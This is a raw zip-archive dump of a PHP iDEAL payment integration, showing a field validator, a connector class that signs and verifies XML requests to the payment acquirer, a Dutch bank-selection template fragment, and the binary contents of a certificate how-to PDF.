"iDEALConnector\Entities\DirectoryResponse") { /* @var $request DirectoryResponse */ $this->validateDirectoryResponse($request); } else if ($className === "iDEALConnector\Entities\AcquirerTransactionResponse") { /* @var $request AcquirerTransactionResponse */ $this->validateAcquirerTransactionResponse($request); } else if ($className === "iDEALConnector\Entities\AcquirerStatusResponse") { /* @var $request AcquirerStatusResponse */ $this->validateAcquirerStatusResponse($request); } else throw new ValidationException('Given object type could not be validated.'); } private function validateAcquirerStatusRequest(AcquirerStatusRequest $input) { if(strlen($input->getTransactionID()) !== 16) throw new ValidationException("Transaction.transactionID length not 16."); $length = preg_match('/[0-9]+/', $input->getTransactionID(), $matches); if ($length !== 1 || $matches[0] !== $input->getTransactionID()) throw new ValidationException("Transaction.transactionID does not match format."); $this->validateMerchant($input->getMerchant()); } private function validateAcquirerTransactionRequest(AcquirerTransactionRequest $input) { $length = preg_match('/[A-Z]{6,6}[A-Z2-9][A-NP-Z0-9]([A-Z0-9]{3,3}){0,1}/', $input->getIssuerID(), $matches); if ($length !== 1 || $matches[0] !== $input->getIssuerID()) throw new ValidationException("Issuer.issuerID does not match format."); $this->validateMerchant($input->getMerchant()); $this->validateTransaction($input->getTransaction()); } private function validateMerchant(Merchant $merchant) { if (strlen($merchant->getMerchantID()) !== 9) throw new ValidationException("Merchant.merchantID length is not 9"); $length = preg_match('/[0-9]+/',$merchant->getMerchantID(), $matches); if ($length !== 1 || $matches[0] !== $merchant->getMerchantID()) throw new ValidationException("Merchant.merchantID does not match format."); if ($merchant->getSubID() > 999999 || $merchant->getSubID() < 0) throw new ValidationException("Merchant.subID value must be between 0 and 999999."); if (strlen($merchant->getMerchantReturnURL()) > 512) throw new ValidationException("Merchant.merchantReturnURL length is to large."); } private function validateTransaction(Transaction $transaction){ if ($transaction->getAmount() < 0 || $transaction->getAmount() >= 1000000000000) throw new ValidationException("Transaction.amount outside value range."); if($transaction->getCurrency() !== "EUR") throw new ValidationException("Transaction.currency does not match format."); if($transaction->getExpirationPeriod() < 1 || $transaction->getExpirationPeriod() > 60) throw new ValidationException("Transaction.expirationPeriod length outside range('PT1M', 'PT1H')."); if(strlen($transaction->getLanguage()) !== 2) throw new ValidationException("Transaction.language length not 2."); if (strlen($transaction->getDescription()) < 1 || strlen($transaction->getDescription()) > 35) throw new ValidationException("Transaction.description length outside range(1, 35)."); if(strlen($transaction->getEntranceCode()) < 1 || strlen($transaction->getEntranceCode()) > 40) throw new ValidationException("Transaction.entranceCode length outside range(1, 35)."); $length = preg_match('/[a-z]+/', $transaction->getLanguage(), $matches); if ($length !== 1 || $matches[0] !== $transaction->getLanguage()) throw new ValidationException("Transaction.language does not match format."); $length = preg_match('/[a-zA-Z0-9]+/',$transaction->getEntranceCode(), $matches); if ($length !== 1 || $matches[0] !== $transaction->getEntranceCode()) throw new ValidationException("Transaction.entranceCode does not match format."); $length = preg_match('/[a-zA-Z0-9]+/',$transaction->getPurchaseId(), $matches); if ($length !== 1 || $matches[0] !== $transaction->getPurchaseId()) throw new ValidationException("Transaction.purchaseId does not match format."); } private function validateDirectoryResponse(DirectoryResponse $response) { $i = 0; foreach ($response->getCountries() as $country) { $length = strlen($country->getCountryNames()); if ($length < 1 || $length > 128) throw new ValidationException("Country.issuerID does not match format."); $j = 0; foreach ($country->getIssuers() as $issuer) { $length = preg_match('/[A-Z]{6,6}[A-Z2-9][A-NP-Z0-9]([A-Z0-9]{3,3}){0,1}/', $issuer->getId(), $matches); if ($length !== 1 || $matches[0] !== $issuer->getId()) throw new ValidationException("Country[$i].Issuer[$j].issuerID does not match format."); $length = strlen($issuer->getName()); if ($length < 1 || $length > 35) throw new ValidationException("Country[$i].Issuer[$j].issuerName does not match format."); $j++; } $i++; } } private function validateAcquirerTransactionResponse(AcquirerTransactionResponse $response) { $length = strlen ($response->getAcquirerID()); if ($length !== 4) throw new ValidationException("Acquirer.acquirerID does not match length."); $length = preg_match('/[0-9]+/', $response->getAcquirerID(), $matches); if ($length !== 1 || $matches[0] !== $response->getAcquirerID()) throw new ValidationException("Acquirer.acquirerID does not match format."); $length = strlen ($response->getIssuerAuthenticationURL()); if ($length > 512) throw new ValidationException("Issuer.issuerAuthenticationURL exceeds length."); $length = strlen ($response->getTransactionID()); if ($length !== 16) throw new ValidationException("Transaction.transactionID exceeds length."); $length = preg_match('/[0-9]+/', $response->getTransactionID(), $matches); if ($length !== 1 || $matches[0] !== $response->getTransactionID()) throw new ValidationException("Transaction.transactionID does not match format."); $length = strlen ($response->getPurchaseID()); if ($length < 1 || $length > 35) throw new ValidationException("Transaction.purchaseID length not in range(1,35)."); $length = preg_match('/[a-zA-Z0-9]+/', $response->getPurchaseID(), $matches); if ($length !== 1 || $matches[0] !== $response->getPurchaseID()) throw new ValidationException("Transaction.purchaseID does not match format."); } private function validateAcquirerStatusResponse(AcquirerStatusResponse $response) { $length = strlen ($response->getAcquirerID()); if ($length !== 4) throw new ValidationException("Acquirer.acquirerID does not match length."); $length = preg_match('/[0-9]+/', $response->getAcquirerID(), $matches); if ($length !== 1 || $matches[0] !== $response->getAcquirerID()) throw new ValidationException("Acquirer.acquirerID does not match format."); $length = strlen ($response->getTransactionID()); if ($length !== 16) throw new ValidationException("Transaction.transactionID exceeds length."); $length = preg_match('/[0-9]+/', $response->getTransactionID(), $matches); if ($length !== 1 || $matches[0] !== $response->getTransactionID()) throw new ValidationException("Transaction.transactionID does not match format."); $length = preg_match('/Open|Success|Failure|Expired|Cancelled/', $response->getStatus(), $matches); if ($length !== 1 || $matches[0] !== $response->getStatus()) throw new ValidationException("Transaction.status does not match format."); } } PK\(##$payment/ideal/lib/iDEALConnector.phpnu[log = $log; $this->configuration = $configuration; date_default_timezone_set('UTC'); $this->serializer = new XmlSerializer(); $this->signer = new XmlSecurity(); $this->validator = new EntityValidator(); $this->merchant = new Merchant($this->configuration->getMerchantID(), $this->configuration->getSubID(), $this->configuration->getMerchantReturnURL()); } /** * This is a conveninence method to create an instance of iDEALConnector using the default implementations of IConnectorConfiguration and IConnector Log * @param string $configurationPath The path of your config.conf file * @return iDEALConnector */ public static function getDefaultInstance($configurationPath) { $config = new DefaultConfiguration($configurationPath); // $config = new AmemberConfiguration($configurationArray); return new iDEALConnector($config, new DefaultLog($config->getDebugLog())); // return new iDEALConnector($config, new DefaultLog($config->getLogLevel(),$config->getLogFile())); } /** * Get directory listing. * * @return Entities\DirectoryResponse * @throws Exceptions\SerializationException * @throws Exceptions\iDEALException * @throws Exceptions\ValidationException * @throws Exceptions\SecurityException */ public function getIssuers() { try{ $request = new DirectoryRequest($this->merchant); $this->log->logAPICall("getIssuers()", $request); $this->validator->validate($request); $response = $this->sendRequest($request, $this->configuration->getAcquirerDirectoryURL()); $this->validator->validate($response); $this->log->logAPIReturn("getIssuers()", $response); return $response; } catch(iDEALException $ex) { $this->log->logErrorResponse($ex); throw $ex; } catch(ValidationException $ex) { $this->log->logException($ex); throw $ex; } catch(SerializationException $ex) { $this->log->logException($ex); throw $ex; } catch(SecurityException $ex) { $this->log->logException($ex); throw $ex; } } /** * Start a transaction. * * @param $issuerID * @param Entities\Transaction $transaction * @param null $merchantReturnUrl * @throws Exceptions\SerializationException * @throws Exceptions\iDEALException * @throws Exceptions\ValidationException * @throws Exceptions\SecurityException * @return Entities\AcquirerTransactionResponse */ public function startTransaction($issuerID, Transaction $transaction, $merchantReturnUrl = null) { try{ $merchant = $this->merchant; if (!is_null($merchantReturnUrl)) $merchant = new Merchant($this->configuration->getMerchantID(), $this->configuration->getSubID(), $merchantReturnUrl); $request = new AcquirerTransactionRequest($issuerID, $merchant, $transaction); $this->log->logAPICall("startTransaction()", $request); $this->validator->validate($request); $response = $this->sendRequest($request, $this->configuration->getAcquirerTransactionURL()); $this->validator->validate($response); $this->log->logAPIReturn("startTransaction()", $response); return $response; } catch(iDEALException $iex) { $this->log->logErrorResponse($iex); throw $iex; } catch(ValidationException $ex) { $this->log->logException($ex); throw $ex; } catch(SerializationException $ex) { $this->log->logException($ex); throw $ex; } catch(SecurityException $ex) { $this->log->logException($ex); throw $ex; } } /** * Get a transaction status. * * @param $transactionID * @throws Exceptions\SerializationException * @throws Exceptions\iDEALException * @throws Exceptions\ValidationException * @throws Exceptions\SecurityException * @return Entities\AcquirerStatusResponse */ public function getTransactionStatus($transactionID) { try{ $request = new AcquirerStatusRequest($this->merchant, $transactionID); $this->log->logAPICall("startTransaction()", $request); $this->validator->validate($request); $response = $this->sendRequest($request, $this->configuration->getAcquirerStatusURL()); $this->validator->validate($response); $this->log->logAPIReturn("startTransaction()", $response); return $response; } catch(iDEALException $iex) { $this->log->logErrorResponse($iex); throw $iex; } catch(ValidationException $ex) { $this->log->logException($ex); throw $ex; } catch(SerializationException $ex) { $this->log->logException($ex); throw $ex; } catch(SecurityException $ex) { $this->log->logException($ex); throw $ex; } } /* * Returns the assigned configuration. */ public function getConfiguration() { return $this->configuration; } private function sendRequest($request, $url) { $xml = $this->serializer->serialize($request); $this->signer->sign( $xml, $this->configuration->getCertificatePath(), $this->configuration->getPrivateKeyPath(), $this->configuration->getPassphrase() ); $request = $xml->saveXML(); $this->log->logRequest($request); if(!is_null($this->configuration->getProxy())) $response = WebRequest::post($url, $request, $this->configuration->getProxy()); else $response = WebRequest::post($url, $request); $this->log->logResponse($response); $doc = new DOMDocument('1.0', 'utf-8'); $doc->loadXML($response); $verified = $this->signer->verify($doc, $this->configuration->getAcquirerCertificatePath()); if (!$verified) throw new SecurityException('Response message signature check fails.'); return $this->serializer->deserialize($doc); } } PK\P%payment/ideal/lib/Http/WebRequest.phpnu[setLayout('layout.phtml'); ?>

    iDEAL betaling

    Selecteer uw bank
    Selecteer uw bank en klik op 'Verder' om door te
    gaan naar het iDEAL betaalscherm van uw bank.

    Omschrijvingdescription; ?>
    Bedragprice, 2, ',', ''); ?>
    Uw bankbanksSelect; ?>


    PK\1[ ! !:payment/ideal/certs/iDEAL_How-To-Generate-Certificates.pdfnu[%PDF-1.5 % 1 0 obj <>>> endobj 2 0 obj <> endobj 3 0 obj <>/XObject<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/MediaBox[ 0 0 595.32 841.92] /Contents 4 0 R/Group<>/Tabs/S/StructParents 0>> endobj 4 0 obj <> stream xXnF}G2V;w _j8M-l̒M"sΞ=3K6};t~}cz`r5:߽cgl17lq?SjAt"C\M'7b% gkP;u있N'VpI!L91K67lEO7zI*V|I7"Ub C#b[>H<^ }|NNFr 52VxW3n2褪<9_Z9NtJNA$NN9$GnSK]rt}rt-ѡ /t<K7\뺖Y.@%rDin[eU| ro²3ǁỦ 2NqcޕP[b[ah:;S%?5UTJ_JYmj@ok0Ơ{GMU9 @E݈ןX>PJ<3̊}}v.ZэYy՟2`ˉR@ !_`8ׇv(ʇu#BY-W{4u=U; B UkX֛e6'=?&${ S8iKAc^vzC9μk,;8ϥ.B-C }7J'A>[ h;cVmxB9(^Xj:v]Ge{=q QbWAp"վ>T RTA*Ñ4" .45iۛlGs48zHɣy)qv`%c${Lh:ֱ$ (Fuɣ):Dxx锼\04ymve1X: ~MhHG> R7. c4 8fTG_ZN2e^SFo@rf怑٪QB]8(o脊ͯgkVO'< endstream endobj 5 0 obj <> endobj 6 0 obj <> endobj 7 0 obj <> endobj 8 0 obj <> endobj 9 0 obj <> stream JFIFDuckydC    $.' ",#(7),01444'9=82<.342C  2!!22222222222222222222222222222222222222222222222222do" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?(o[Ӽ9Ojgo.}(A'@WyCI\?v<$?z~Wn]?a+7@Ey.߇0|DgQӼq]],|C#t\s'?oEPEP^InQzy$:Dt|+W/VլeY%Wut+8v|@.OO;"<O?4‰?ƽ"v%U_)*gc˰?]r_k^k?|@.O'Ys~=l׌R20eb:pkOa{_=͚LHׯ-߲FۏֹIϊmd"弶7CGې֓OnM^F-Wx_*Zxw./ {}GS*R[8F<q+l.Qtg͔vG&"lό"CBE6hN8#9xl%bLp{b<3(+6!J#@?$](3 jW{mBeK,THğz?REt٩µ;\(9X]~W h<*1>LIqhmysG7)A\kzo{)l)BeER>:޸/ٺ_^*7#1HݼƑ ֠[H{6͞Zog5;C%R5g*rQj-8ڧ5k2 ժnK.0@#yɫ^&SMHBŷOu|GHhc"1&:o?+|p?}/Rke6} }zؘhWs)xk5즴>쥈0ci #1vҴG$*9'^R;K),ޣz ώR"ܣǁ?%RͧRuRjIsG֥qcZH $ r84g*1]>_ $4C܆ڹT}gik? ݮ6ti=G㔶QVU<,ڜUH_n)^ѴQEfyA^InQzy$:DtCͽk m V*[8S jv5{MsCk ǟ`b8 ɺץ_0Pٿu\hX!Ѭ"8f2Xyr~:h&4tjǒqԞՋ4?;JlRVrb\jE5k ź;F٣J윓sWzοiVf(YH\zs\ʯse)GOcR1j=ɭ{O_Js)X\ry:1E>T?QVWK=7D=K^dK!q9X[!Y'zi7$c܏?~ڗۘէs_xU/J ߖ`ȉu#]Vt>T縐QO{ר?? h x3?$|aolNL0n ǟVfJqbxڊr3oP3)dX"A1L+oki7Ej}$FoZÏKח7xXu#9k{xm-b$ h0@zW;m+Vj$)r<7yjZGuulyت 觵uP6>$[lRHBgw;O(?guS_ī9Ρr WTPi߳cM_Ļ9d?6?-zOxC’$zw/nu>}j(((((((((( endstream endobj 10 0 obj <>/XObject<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 18 0 R 21 0 R 23 0 R 24 0 R 25 0 R 27 0 R 28 0 R 29 0 R 30 0 R 32 0 R 34 0 R 43 0 R 44 0 R 49 0 R 53 0 R 58 0 R] /MediaBox[ 0 0 595.32 841.92] /Contents 11 0 R/Group<>/Tabs/S/StructParents 8>> endobj 11 0 obj <> stream x\moFnw 'M{ }0ApdǸDJerI/ofI\q%%"qEj<}b{[g._vϫO}[]_?嫫3 ^fPBaJvu~ϟY}÷>?dew^ߝA&_Bї+_DvO9?ɳg')oW[cnkk6rKSCQ&zqQ/:5?}Z\ /BOx9&y)+ ==%|oqT-o ۬O3]nN3h)\ R!*Tp!IfΑЀZc,1Ř: Y>:[eui%`EJm UatT-m`1*e&8Z|2: ޛIPq4=,q-vw-.Vy+I ^D9Z~,5p=B*;s/ȸr_ "(>[|-__aj}Ӄ=%^}w}o^.LZ-.xC|qamwc~Ɵ]'[% ֢H`h%c (o J0H}C1y@|\ǂɚ(zbʅyHBof*(,+zJ\>]8Tof1ΘŔƘ2:e3/M~L7Kä:jnSc_uLZjC@gpd9F#gڤ|adM6PoK[ vCvX`P`D=j[{ ZCR;ΎE1,KQ&D(e ghi yqՅn&IZI5DQCiv 37sP$9M>F11Ɖ *d&6o[>,\Oȣ?*f##SdFrĔy;*GLn^?/h(=I*3KMۯAi6R3%;JjL'?I xh1Ci!kۏJ~J%ʎ\Fm:xHds_acdQ ϥ:c#OXj0'Ga8) ؕLL_eƵL FĤ, =29>MգV=ZU J>lH$v?U6pgJo<[ٍf aIg)&UkJ;BmSim@dR/A:i/#K8 ćBBg"cY1ė(0n^!O)R&1tWȃm+ g]7^=c()ų-q~{juSq^atyq^4'_¤ `ht҅r.L o\NJ@'O)A jjG4]~}}xe/[ےRJR#1xՄs,%CL\ 9J,K?c.dspָI]0khj[#Dzw)A| am2.F0`jBU hZO; V)+߷toRݾU+V,wjr%PS[YbKUX\bȱˀ'4*(O% f E,K+w#(G+QRŤ[@%ޚh}=RVZ /U :1 Z:Hr`bOˑ[ Gulѥ72GtEU@/ %6y% ]9"٦ZWؘ9M׎nLd%7519ee{\@YLvj*:\L?9K)pfRЌ?~բ9+!Whv1mW-~kdPʊJ/L'GɊ4#+Pf@>++O'+yImYkEǮ QΥ}DlwKDS4s]a`f Nt^\偒y)2=FFXz(N77ZB6뼝tJӶ28W1}_Uuuڇ.OYX6 (IGlnlwWאLvBY:䌞9=^/l*٭ͲSqw,㊵fv,]cqÆλiLmY9O߾HyoUlط5!/};xS]M/ l%#>vd cD@)vӐ Q[U҅jEX v(ۖԿ!C|w&r6cXj7x endstream endobj 12 0 obj <> endobj 13 0 obj [ 14 0 R] endobj 14 0 obj <> endobj 15 0 obj <> endobj 16 0 obj <> endobj 17 0 obj <> stream JFIF``C    $.' ",#(7),01444'9=82<.342C  2!!222222222222222222222222222222222222222222222222223" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?+_h8o]R=K(D1J?}[|O]iSQ.Inzxw+S蚽].aTlĜ'G1u+1sexdsG{uծmQ^Y ߤд=wON&p{;NTy ROcF+7;_ M t]cEp)w; m-Ɗ9*3&mr(3n](AAmB8a~i裟\J|kF/5}AO$5TiNJ #(2դErkF;wT_Һ]z?G6LIܛo%uҜw@QEEmB=:[C22X~5V *Zڪ) $ 6z6:d*ɣ.tAqfҁlߐflARb? q5TӓãЧJR*Wow> jw34ʩ| <JtB=N.Y %^68 . G[Mg[.&QpU s\߅Cwk<7F6rv5φFά^ x}ox_bQ]gWŚ,~ ԑU[@k:_T3]-c[6dU*Vӿi\SAfo|E⫝:̷ӯd3$cBcJOxPN'l \ړÏQñZ\|G7${J*+:SM`NT0ӧſe?#ť̏qе?zL:8Q;X_"Y~ 3_::uo> e)ԶQñ|~iGU9VYt.4SR'KEFؠnYɑL+ASo;Rz #ޥQ$DoK^%kvc(=2SWi~xN_^)Եe"K39Ov_J[%c jT{^k"! (罐Wf6!VW)zUdz7V0*}G> g%{VnRPc"s˩-G9 d.^ƱMe89INWc'&cpt|"sեӬcӥWH.~qGLqϭr却xZa,2ptCӎTс%ǜV{df]FAȨd ڳ,hU}*Gk%T+wo?V"O IqV}l,n F d1>K&[ ww$Lf`Ɵq+IF37Sֽ_zcgǑN2+-7=z9hH]eYNAVO\sMMO\ ʝ=Eg&K{˭r?P3PxXh^'V5BKAIh&FX,C?6;h!mȡ+2h[ٮ }?֊>RUeO::_T3_Zx' Rʕ2$J_#j-uwӿi\SAf/xD /ξe+)Um{Gm}Z@g.k[STծy)>;d\e X|v~TmmuWi#b,c=_@Z]}i մH&@zwL_~%I$Ͳ ?4:Vib[чk(e*#־| 6Nr69yG=}:ta ^Ȝ-=KOjώZ49|Belq@VSױ(ᎉ\F5jxzt94Ẉ0#SmvS4<&<_xW^~=V%nԼNÁu=?OeNY2}b')sT YYOĈOZu 0w QdP@FWx׆_ j6nno!0HJ?[G+0hayMHKV@8PX+-ġR'S?`;J{(B`{L!]CX' V!`>ƾ_]*v[Z{+QdyPZ<RnOzw*m4F=0U\wŽP Hʤ{or8!:5wL9@Fci99:沝B/߱:'%ȭ܆x]D Uu HgyOd8x8V/##hd}O(Kda,ͻU3s9ReȪɤNs;}zwS$^(nՔBa^^GOu)Dk4BV+{Ռq۽u]Uڑ-9q }zYn!ӣ*tܛM=[<WJJ)k5|n|M \Q] Q1$QT@TvRTO>{WUNv(0=(h J( ` P*(REBC/֗e;-1EP@Iiako\aTBEQ@(P1EbQEQEQE endstream endobj 18 0 obj <>/F 4/Dest[ 10 0 R/XYZ 68 760 0] /StructParent 11>> endobj 19 0 obj <> endobj 20 0 obj <> endobj 21 0 obj <>/F 4/Dest[ 22 0 R/XYZ 68 760 0] /StructParent 12>> endobj 22 0 obj <>/ExtGState<>/XObject<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/MediaBox[ 0 0 595.32 841.92] /Contents 61 0 R/Group<>/Tabs/S/StructParents 40>> endobj 23 0 obj <>/F 4/Dest[ 22 0 R/XYZ 68 609 0] /StructParent 13>> endobj 24 0 obj <>/F 4/Dest[ 22 0 R/XYZ 68 308 0] /StructParent 14>> endobj 25 0 obj <>/F 4/Dest[ 26 0 R/XYZ 68 760 0] /StructParent 15>> endobj 26 0 obj <>/ExtGState<>/XObject<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 65 0 R 66 0 R] /MediaBox[ 0 0 595.32 841.92] /Contents 63 0 R/Group<>/Tabs/S/StructParents 1>> endobj 27 0 obj <>/F 4/Dest[ 26 0 R/XYZ 68 716 0] /StructParent 16>> endobj 28 0 obj <>/F 4/Dest[ 26 0 R/XYZ 68 580 0] /StructParent 17>> endobj 29 0 obj <>/F 4/Dest[ 26 0 R/XYZ 68 235 0] /StructParent 18>> endobj 30 0 obj <>/F 4/Dest[ 31 0 R/XYZ 68 760 0] /StructParent 19>> endobj 31 0 obj <>/ExtGState<>/XObject<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 69 0 R] /MediaBox[ 0 0 595.32 841.92] /Contents 68 0 R/Group<>/Tabs/S/StructParents 43>> endobj 32 0 obj <>/F 4/Dest[ 33 0 R/XYZ 68 760 0] /StructParent 20>> endobj 33 0 obj <>/ExtGState<>/XObject<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/MediaBox[ 0 0 595.32 841.92] /Contents 70 0 R/Group<>/Tabs/S/StructParents 2>> endobj 34 0 obj <>/F 4/Dest[ 42 0 R/XYZ 68 760 0] /StructParent 21>> endobj 35 0 obj <>/XObject<>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/MediaBox[ 0 0 595.32 841.92] /Contents 73 0 R/Group<>/Tabs/S/StructParents 3>> endobj 36 0 obj <>/ExtGState<>/XObject<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/MediaBox[ 0 0 595.32 841.92] /Contents 77 0 R/Group<>/Tabs/S/StructParents 4>> endobj 37 0 obj <>/ExtGState<>/XObject<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/MediaBox[ 0 0 595.32 841.92] /Contents 80 0 R/Group<>/Tabs/S/StructParents 5>> endobj 38 0 obj <>/ExtGState<>/XObject<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/MediaBox[ 0 0 595.32 841.92] /Contents 83 0 R/Group<>/Tabs/S/StructParents 6>> endobj 39 0 obj <>/ExtGState<>/XObject<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/MediaBox[ 0 0 595.32 841.92] /Contents 88 0 R/Group<>/Tabs/S/StructParents 7>> endobj 40 0 obj <>/ExtGState<>/XObject<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/MediaBox[ 0 0 595.32 841.92] /Contents 90 0 R/Group<>/Tabs/S/StructParents 9>> endobj 41 0 obj <>/ExtGState<>/XObject<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/MediaBox[ 0 0 595.32 841.92] /Contents 92 0 R/Group<>/Tabs/S/StructParents 10>> endobj 42 0 obj <>/ExtGState<>/XObject<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/MediaBox[ 0 0 595.32 841.92] /Contents 95 0 R/Group<>/Tabs/S/StructParents 27>> endobj 43 0 obj <>/F 4/Dest[ 42 0 R/XYZ 68 569 0] /StructParent 22>> endobj 44 0 obj <>/F 4/Dest[ 48 0 R/XYZ 68 760 0] /StructParent 23>> endobj 45 0 obj <>/ExtGState<>/XObject<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/MediaBox[ 0 0 595.32 841.92] /Contents 97 0 R/Group<>/Tabs/S/StructParents 28>> endobj 46 0 obj <>/ExtGState<>/XObject<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/MediaBox[ 0 0 595.32 841.92] /Contents 100 0 R/Group<>/Tabs/S/StructParents 29>> endobj 47 0 obj <>/ExtGState<>/XObject<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/MediaBox[ 0 0 595.32 841.92] /Contents 103 0 R/Group<>/Tabs/S/StructParents 30>> endobj 48 0 obj <>/ExtGState<>/XObject<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/MediaBox[ 0 0 595.32 841.92] /Contents 106 0 R/Group<>/Tabs/S/StructParents 31>> endobj 49 0 obj <>/F 4/Dest[ 52 0 R/XYZ 68 465 0] /StructParent 24>> endobj 50 0 obj <>/ExtGState<>/XObject<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/MediaBox[ 0 0 595.32 841.92] /Contents 108 0 R/Group<>/Tabs/S/StructParents 32>> endobj 51 0 obj <>/ExtGState<>/XObject<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/MediaBox[ 0 0 595.32 841.92] /Contents 110 0 R/Group<>/Tabs/S/StructParents 33>> endobj 52 0 obj <>/ExtGState<>/XObject<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/MediaBox[ 0 0 595.32 841.92] /Contents 113 0 R/Group<>/Tabs/S/StructParents 34>> endobj 53 0 obj <>/F 4/Dest[ 57 0 R/XYZ 68 760 0] /StructParent 25>> endobj 54 0 obj <>/ExtGState<>/XObject<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/MediaBox[ 0 0 595.32 841.92] /Contents 116 0 R/Group<>/Tabs/S/StructParents 35>> endobj 55 0 obj <>/ExtGState<>/XObject<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/MediaBox[ 0 0 595.32 841.92] /Contents 119 0 R/Group<>/Tabs/S/StructParents 36>> endobj 56 0 obj <>/ExtGState<>/XObject<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/MediaBox[ 0 0 595.32 841.92] /Contents 122 0 R/Group<>/Tabs/S/StructParents 37>> endobj 57 0 obj <>/ExtGState<>/XObject<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/MediaBox[ 0 0 595.32 841.92] /Contents 124 0 R/Group<>/Tabs/S/StructParents 38>> endobj 58 0 obj <>/F 4/Dest[ 60 0 R/XYZ 68 760 0] /StructParent 26>> endobj 59 0 obj <>/ExtGState<>/XObject<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/MediaBox[ 0 0 595.32 841.92] /Contents 126 0 R/Group<>/Tabs/S/StructParents 39>> endobj 60 0 obj <>/ExtGState<>/XObject<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/MediaBox[ 0 0 595.32 841.92] /Contents 128 0 R/Group<>/Tabs/S/StructParents 45>> endobj 61 0 obj <> stream x\n}7hi&(v7bb(u6x#VٻWk[]I1^-6MFr22&AqO r,Vs }~Wyme7<I4BHB m u۶ϷH+IYH?V]k_D=]h6":n5-aWpW>5ɾþ7O$ ,NU+ -.p{^n7HcY ? ®0-bġ7O&w(E?hGB4z 7T(BiHm`fϯp7 qx2{Diop}PHkbh*ΰH=Y&3F0pxzR5v?]6n"n Ksj.xhwíh'Z$\ */vaS`Ogk.z C'ïk)_K\e:0P+Nm@@"_C 4_1/{SN7ړ-񡲉=ET>NUa?p_Ⴔ !\R'SHYz $ 46;]cw~Ȝ3CGךU6T3Qv:~ZEEJWCBN Q;>wtɚ.\X4SQס}7J2|ŖPo(u7dPc2IϞ,HKg(@hqK>cҝ4&OɛaUBI d#d-w2Iaѥr6 :-6d"wήJ˸L;E ,\.c45E3W}x~,1>U}:佣Tz<,CyKZjJ2u'\-0Sby(vL@tCM&b$5B?Ӓa VvPƺkVBwM&tyIm_1hZ'w](HY_YP6ܕ1=. yw#KAKy98IǾ> 7{,C0 Ӥ7mU:6ǩ Qa' \g~l-Y>iS0[ Nf?/pWW _FMWH/WUhKhV2:l%:)R wWh ÌLҙ0,`_*"bA:Li%ե# `]Ă/zx{Hz{By\V@`q͖5,~1!IU:Wt0"SyAΊWJlEux&5t{w]貂ea\vYT{{{MНT4\PoHhCbkg)J|`QU{'̃)anJ '9I[spdɩcN*aÃ`SId+v<<׹δץA R*w&!6(x̦vywD8]Hwk`횪%(MJ\gƻqO$Q$SHۘumS-C8qM#`̥- sr204r&ͮC/Vֵ"ǡlǸ[҆Wlng󫧂(wmpMN⯝t:0Sb˿se[L;X v7΁K':_"ĚwUݘe ,UQ:[o*ΜKڱfk΍iGJ1S[/s%Jjk)ep{idZTQ}Y&2L}9I퍉6|CKZv 7%H=۝b'IPn^pE%]iхN ˲w <α!yZN Ɣ7dyQl4cUWMt8,0gD9ס0]Q e ;0='Og΀]B'}l0Xv|"~oD%-v#[,g`s}MBanO*YW;`֩gpx۝^ZvԦg=u>Pl VC-hˀW{Jt@Q7Yr4%*x{I`Y͡N> PȻņK$94jGkRjQ'Q>OolSk|bj>Nq}pz3¥St,_b?|!Yӱ\&s㻎>5P%?D$T 74)<P`ٽgyJ꿲-Y*Yʊk EFH t{e#4w"@8;=#$/ 脄D76 cSX mJ綊thU2ף[UZ˙،xnfI/Nq (PE5TPS|-'qvk\Pә;9 r(I&=fkiYIʏ#)5$Jʇm]h/OݗI'µ,9g Q*4aCs+TوPR6P(w贋XfUA+0)LF0\ѫ [$iQދ2M; &-eY E:d7j N NSy&҇XȁNU2> G=f$0?s`b)F -2b0πVC0c1%\m,+"Fa [dS_[=%69s@س@6pilȖ[zrd*G@"@֫2iUNB@ G=d"?+tdtB0&Ydž{ c6YecЯL|GoocA#l5,\& [_CϞ`kqtGO;;%Sc' Ls3(8Lr_u{}QXBިbV.`ˌX:2x3 c QkjJ4#yN>X=!伊ϩÿ=ɢ¿' {9Gl)>\{|\ȥ|BM;#2I5HMӻU]+IP蝧*H0H]8iC!El;7q]O72C=5ؗ1刄m9 l/c7rDm }.4?PoK|f0qDòd'c endstream endobj 62 0 obj <> endobj 63 0 obj <> stream xZ[o۸~GiQM @ӦEz&"5Vl8țG_$Kh;Mpp87|CzjYNo _ev3GzxU,^ȇ_tb~z޼f?VfSD"I2?>6?>"hV`++F"6wf{:`90F.ze~(m 